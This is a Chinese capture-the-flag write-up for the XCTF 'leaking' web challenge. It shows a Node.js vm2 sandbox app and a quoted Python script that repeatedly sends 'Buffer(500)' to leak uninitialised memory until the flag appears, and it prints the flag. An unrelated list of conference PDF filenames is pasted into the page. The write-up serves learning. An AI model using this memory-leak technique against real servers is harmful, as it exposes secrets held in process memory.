攻防世界xctfweb题leaking题解

打开网站我们可以看到如下代码

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

 这里涉及到了node.js的知识以及沙箱的知识。

贴几篇文章可以了解一下其中的知识。​​​​​​Node.js沙箱逃逸

浅谈 Node.js安全

首先,通过简单的代码审计我们知道由于存在eval我们是可以在vm2环境中执行命令的,但是会被req.query.data.length限制。

所以我们要思考如何绕过限制。这里涉及到Node.js中的buffer函数

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的 8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存

也就是说,我们可以通过buffer来读取内存,从而绕过限制。 

这里贴别人wp的脚本:

# encoding=utf-8

import requests
import time
url = 'http://YOURIP:PORT?data=Buffer(500)'
response = ''
while 'flag' not in response:
        req = requests.get(url)
        response = req.text
        print(req.status_code)
        time.sleep(0.1)
        if 'flag{' in response:
            print(response)
            break

(小声bb一句这个脚本我不知道为什么执行不了,提示显示ModuleNotFoundError: No module named 'requests'。毕竟自己太菜了,还没学python)

拿到flag

flag{4nother_h34rtbleed_in_n0dejs}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
['air-r1-2-the_bottom_of_the_barrel_scraping_pastebin_for_obfuscated_malware.pdf', 'air-t08-insights-from-nsas-cybersecurity-threat-operations-center.pdf', 'air-w12-threat-intel-_-content-curation-organizing-the-path-to-successful-detection.pdf', 'asec-t08-leaking-ads-is-user-data-truly-secure.pdf', 'asec-t10-realizing-software-security-maturity-the-growing-pains-and-gains.pdf', 'asec-w04-derived-unique-token-per-transaction.pdf', 'asec-w12-repronow-save-time-reproducing-and-triaging-security-bugs.pdf', 'ast1-r02-cybersecurity_capability_readiness-necessary_conversations_next_steps.pdf', 'ast1-w02-the_cybersecurity_job_seekers_report-results_and_implications.pdf', 'ast2-r02_strategies_to_finding_and_building_your_robust_workforce.pdf', 'ast2-w02-the_nist_cybersecurity_framework-what_s_next.pdf', 'ast3-r02-the_life_and_times_of_cybersecurity_professionals.pdf', 'ast3-w02-the_promise_of_iot_best_practices_testing_the_hazards_of_inaction.pdf', 'cryp-f01-side-channels-2.pdf', 'cryp-f02-codes-and-isogenies.pdf', 'cryp-f03-other-cryptography.pdf', 'cryp-r02-block-ciphers.pdf', 'cryp-r04-hash-and-mac-functions.pdf', 'cryp-r1-2-digital-sigatures.pdf', 'cryp-r14-secure-storage.pdf', 'cryp-t07-side-channels-1.pdf', 'cryp-t08-general-cryptography.pdf', 'cryp-t10-lattice-based-cryptography.pdf', 'cryp-w02-computing-on-encrypted-data.pdf', 'cryp-w04-cryptographic-protocols.pdf', 'cryp-w14-post-quantum-cryptography.pdf', 'csv-r1-2-red-team-vs.-blue-team-on-aws.pdf', 'csv-r14-fim-and-system-call-auditing-at-scale-in-a-large-container-deployment.pdf', 'csv-t10-confessions-of-a-cloud-security-convert.pdf', 'csv-w12-ephemeral-devops-adventures-in-managing-short-lived-systems.pdf', 'cxo-f02_securing-innovation-shifting-the-conversation-from-fear-to-possibility.pdf', 'cxo-f03-business-executive-fundamentals-how-to-beat-the-mbas-at-their-own-game_finalpptx.pdf', 'dev-f01-dos-and-donts-of-devsecops.pdf', 'dev-f03-devops-and-the-future-of-enterprise-security.pdf', 'dev-r04-agile-and-conti

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值